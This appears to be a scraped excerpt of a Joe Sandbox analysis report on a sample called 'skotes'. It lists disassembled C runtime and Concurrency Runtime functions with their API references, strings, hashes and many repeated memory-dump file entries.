Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 0a6b636c876c09441b6589e308da744b9ca8bdad5e192e2884bbf1073164af64
Instruction ID: 07cd82079ba455fea2c8d682a59bbfea0c58a3e3730aecb8a7b38fbd9d5170cc
Opcode Fuzzy Hash: 0a6b636c876c09441b6589e308da744b9ca8bdad5e192e2884bbf1073164af64
Instruction Fuzzy Hash: EF01F5325513262D62207BB56C4BEFB25DCCD96748721153BF946F3281EFB4EA1282A4

Function 001F2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 001F20B7

Part of subcall function 001ECAF3: Mailbox.LIBCMT ref: 001ECB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001F20C8
StructuredWorkStealingQueue.LIBCMT ref: 001F20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001F210F

Strings

e, xrefs: 001F20D9

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 06b6d2f5bed7dcba4d783dc24eb1047e3fe57f040d2d46b875918ccd21bc5a7a
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 7711A33120410DABDB15DE79C89167A73A4EF12324B14816AFE06DF242DF71D905CB95

Function 001DD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 001DD0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 001DD03B
kernel32.dll, xrefs: 001DD04C
WakeAllConditionVariable, xrefs: 001DD069
SleepConditionVariableCS, xrefs: 001DD05D

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 32b80d586b3ecb6d2c434a7d908c1beb7878ae8d0ded4fd8b053e13630d664a6
Instruction ID: 50fccc3a981ce9847bb1da58b1ea510b369da264909943cc9acab7f55be57754
Opcode Fuzzy Hash: 32b80d586b3ecb6d2c434a7d908c1beb7878ae8d0ded4fd8b053e13630d664a6
Instruction Fuzzy Hash: 3901A220AD273179A6313AB57C05EAB51CCCBD3B48F056522BD04F7380DBB0D81285B5

Function 00204C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00204C98
__alloca_probe_16.LIBCMT ref: 00204D5E
__freea.LIBCMT ref: 00204DCA
__freea.LIBCMT ref: 00204DD3
__freea.LIBCMT ref: 00204DF6

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: b88b2939fc489ee31530eac13aaa5cb634fd002b7bb799174a2a89d04ab612d6
Instruction ID: 5044fcd3e7cb1d8c0e0e40bda167f7a6211b05a1d2161a74115c3242d7099e9c
Opcode Fuzzy Hash: b88b2939fc489ee31530eac13aaa5cb634fd002b7bb799174a2a89d04ab612d6
Instruction Fuzzy Hash: D251E7B262030BAFEB216F64DC41FBB37A9DF91750F158119FE0497292EB70DD2086A0

Function 001EE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 001EE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001EE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001EE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 001EE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 001EE9DC

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: b4c0c362248e42f5639f7d2c0543d6f3fa9dbe1f93eb83aa985b5cdaa701dc17
Instruction ID: 53fe4a2b8b58981e46a2f21b4f6f61702bb38073af1c80b4e3f70b468bcc0c35
Opcode Fuzzy Hash: b4c0c362248e42f5639f7d2c0543d6f3fa9dbe1f93eb83aa985b5cdaa701dc17
Instruction Fuzzy Hash: F1415F75A00619EFCB09DF65C998AADB7F6FF88310F048159E806A7391CB74AE41CF80

Function 001DECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001DECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 001DED17

Part of subcall function 001DF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 001DF3FA

__alloca_probe_16.LIBCMT ref: 001DED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 001DED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 001DEDC6

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
